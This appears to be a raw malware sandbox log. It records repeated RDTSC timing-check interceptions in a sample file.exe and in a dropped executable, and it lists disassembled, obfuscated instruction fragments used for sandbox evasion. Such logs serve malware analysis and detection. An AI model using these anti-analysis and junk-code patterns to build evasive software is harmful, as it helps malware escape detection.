Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F21 second address: 1054F31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007FEC84B62E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F31 second address: 1054F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F37 second address: 1054F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F3D second address: 1054F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F41 second address: 1054F47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F47 second address: 1054F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054F51 second address: 1054F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10584A9 second address: 10584C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FEC84DC6BC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10584C9 second address: 10584CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10584CD second address: 10584D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10584D3 second address: 10584D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062645 second address: 106264B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106264B second address: 1062657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEC84B62E06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107583D second address: 1075842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075842 second address: 107584E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FEC84B62E06h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107584E second address: 1075852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10753C3 second address: 10753E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AAE9 second address: 108AAEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AF71 second address: 108AF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007FEC84B62E08h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AF82 second address: 108AF89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AF89 second address: 108AFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEC84B62E06h 0x0000000a popad 0x0000000b jmp 00007FEC84B62E0Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEC84B62E0Ch 0x00000019 jng 00007FEC84B62E0Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA9E second address: 108CAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CAA3 second address: 108CAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CAAB second address: 108CAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CAAF second address: 108CADC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007FEC84B62E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 je 00007FEC84B62E28h 0x00000018 jmp 00007FEC84B62E12h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F5FA second address: 108F5FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60286 second address: 4C6028C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6028C second address: 4C602F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEC84DC6BCEh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 push eax 0x00000015 pushfd 0x00000016 jmp 00007FEC84DC6BCDh 0x0000001b and ecx, 69FB2026h 0x00000021 jmp 00007FEC84DC6BD1h 0x00000026 popfd 0x00000027 pop ecx 0x00000028 jmp 00007FEC84DC6BD1h 0x0000002d popad 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov ecx, ebx 0x00000034 push edx 0x00000035 pop eax 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C602F4 second address: 4C602F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603BE second address: 4C603DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx ebx, ax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603DD second address: 4C603E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603E2 second address: 4C603FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, AB26h 0x00000011 mov si, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C603FD second address: 4C60403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F932 second address: F9F936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6045B second address: 4C6046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC84B62E0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6046B second address: 4C604F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007FEC84DC6BCBh 0x00000014 adc ah, FFFFFFCEh 0x00000017 jmp 00007FEC84DC6BD9h 0x0000001c popfd 0x0000001d pop ecx 0x0000001e pushfd 0x0000001f jmp 00007FEC84DC6BD1h 0x00000024 sbb cx, BA06h 0x00000029 jmp 00007FEC84DC6BD1h 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov di, cx 0x00000037 jmp 00007FEC84DC6BD6h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604F1 second address: 4C60503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC84B62E0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C605DD second address: 4C60618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, F4h 0x00000006 popad 0x00000007 and dword ptr [ebp-04h], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FEC84DC6BD1h 0x00000014 or eax, 55217BB6h 0x0000001a jmp 00007FEC84DC6BD1h 0x0000001f popfd 0x00000020 push ecx 0x00000021 pop edx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60618 second address: 4C6062F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov ecx, 3100F9BBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6062F second address: 4C60633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60633 second address: 4C60646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60646 second address: 4C6064C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6064C second address: 4C60650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60650 second address: 4C60654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60654 second address: 4C6066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC84B62E0Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6066A second address: 4C60680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60680 second address: 4C606A1 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 5516F22Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a inc edx 0x0000000b pushad 0x0000000c mov edi, 6A9742C8h 0x00000011 mov bh, C3h 0x00000013 popad 0x00000014 test al, al 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, 4004EDF8h 0x0000001e mov ecx, ebx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606A1 second address: 4C60680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEC84DC6B8Ah 0x0000000f mov al, byte ptr [edx] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606CE second address: 4C6077A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC84B62E0Fh 0x00000008 mov ax, 53FFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f sub edx, esi 0x00000011 jmp 00007FEC84B62E0Bh 0x00000016 mov edi, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a mov bl, cl 0x0000001c movsx edx, cx 0x0000001f popad 0x00000020 dec edi 0x00000021 pushad 0x00000022 movzx esi, bx 0x00000025 mov si, dx 0x00000028 popad 0x00000029 lea ebx, dword ptr [edi+01h] 0x0000002c pushad 0x0000002d jmp 00007FEC84B62E13h 0x00000032 jmp 00007FEC84B62E18h 0x00000037 popad 0x00000038 mov al, byte ptr [edi+01h] 0x0000003b jmp 00007FEC84B62E10h 0x00000040 inc edi 0x00000041 pushad 0x00000042 movzx eax, bx 0x00000045 pushad 0x00000046 mov esi, ebx 0x00000048 jmp 00007FEC84B62E15h 0x0000004d popad 0x0000004e popad 0x0000004f test al, al 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FEC84B62E0Dh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6077A second address: 4C607E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FECF638EEB6h 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FEC84DC6BCAh 0x00000017 add cx, 95C8h 0x0000001c jmp 00007FEC84DC6BCBh 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 call 00007FEC84DC6BD6h 0x0000002a mov edi, eax 0x0000002c pop eax 0x0000002d popad 0x0000002e mov ecx, edx 0x00000030 jmp 00007FEC84DC6BCDh 0x00000035 shr ecx, 02h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C607E8 second address: 4C607EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C607EE second address: 4C607F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C607F4 second address: 4C60855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 pushad 0x00000013 call 00007FEC84B62E15h 0x00000018 jmp 00007FEC84B62E10h 0x0000001d pop ecx 0x0000001e popad 0x0000001f mov ecx, edx 0x00000021 pushad 0x00000022 mov al, bl 0x00000024 popad 0x00000025 and ecx, 03h 0x00000028 jmp 00007FEC84B62E15h 0x0000002d rep movsb 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FEC84B62E0Dh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60855 second address: 4C6085B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6085B second address: 4C6085F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C609E8 second address: 4C609EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C609EC second address: 4C609F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C609F0 second address: 4C609F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C609F6 second address: 4C60A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 pushfd 0x00000007 jmp 00007FEC84B62E0Bh 0x0000000c or esi, 1F16E55Eh 0x00000012 jmp 00007FEC84B62E19h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FEC84B62E13h 0x00000025 add si, FF6Eh 0x0000002a jmp 00007FEC84B62E19h 0x0000002f popfd 0x00000030 mov ebx, ecx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60A65 second address: 4C60AD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEC84DC6BD3h 0x00000009 xor ah, 0000007Eh 0x0000000c jmp 00007FEC84DC6BD9h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movzx esi, dx 0x0000001e pushfd 0x0000001f jmp 00007FEC84DC6BD5h 0x00000024 sbb cx, 6A66h 0x00000029 jmp 00007FEC84DC6BD1h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60AD3 second address: 4C60B05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEC84B62E18h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60B05 second address: 4C60B0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 5EE823 second address: 5EE827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 5EE827 second address: 5EE82B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 5EE82B second address: 5EE831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7668F6 second address: 766900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEC84DC6BC6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 766900 second address: 76691A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E14h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 76691A second address: 766920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7658C1 second address: 7658D3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEC84B62E0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7658D3 second address: 7658D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7658D7 second address: 7658DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 768FA9 second address: 768FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 768FAE second address: 768FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEC84B62E06h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7690E8 second address: 769184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEC84DC6BCAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 42114D05h 0x00000014 mov dword ptr [ebp+1244C2A3h], ecx 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FEC84DC6BC8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 mov ecx, dword ptr [ebp+122D3620h] 0x0000003e push 00000003h 0x00000040 call 00007FEC84DC6BC9h 0x00000045 push ebx 0x00000046 pushad 0x00000047 push ebx 0x00000048 pop ebx 0x00000049 jns 00007FEC84DC6BC6h 0x0000004f popad 0x00000050 pop ebx 0x00000051 push eax 0x00000052 pushad 0x00000053 jmp 00007FEC84DC6BD5h 0x00000058 push esi 0x00000059 jng 00007FEC84DC6BC6h 0x0000005f pop esi 0x00000060 popad 0x00000061 mov eax, dword ptr [esp+04h] 0x00000065 jmp 00007FEC84DC6BD3h 0x0000006a mov eax, dword ptr [eax] 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 769184 second address: 769188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 76936E second address: 769372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 769372 second address: 769376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 769376 second address: 7693C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FEC84DC6BC8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 jmp 00007FEC84DC6BD3h 0x00000027 lea ebx, dword ptr [ebp+1244DE80h] 0x0000002d mov dword ptr [ebp+122D1802h], edi 0x00000033 xchg eax, ebx 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7693C6 second address: 7693DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 je 00007FEC84B62E06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7693DC second address: 7693E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78A64D second address: 78A698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jbe 00007FEC84B62E08h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jns 00007FEC84B62E0Eh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FEC84B62E14h 0x00000022 pop ebx 0x00000023 jmp 00007FEC84B62E11h 0x00000028 rdtsc
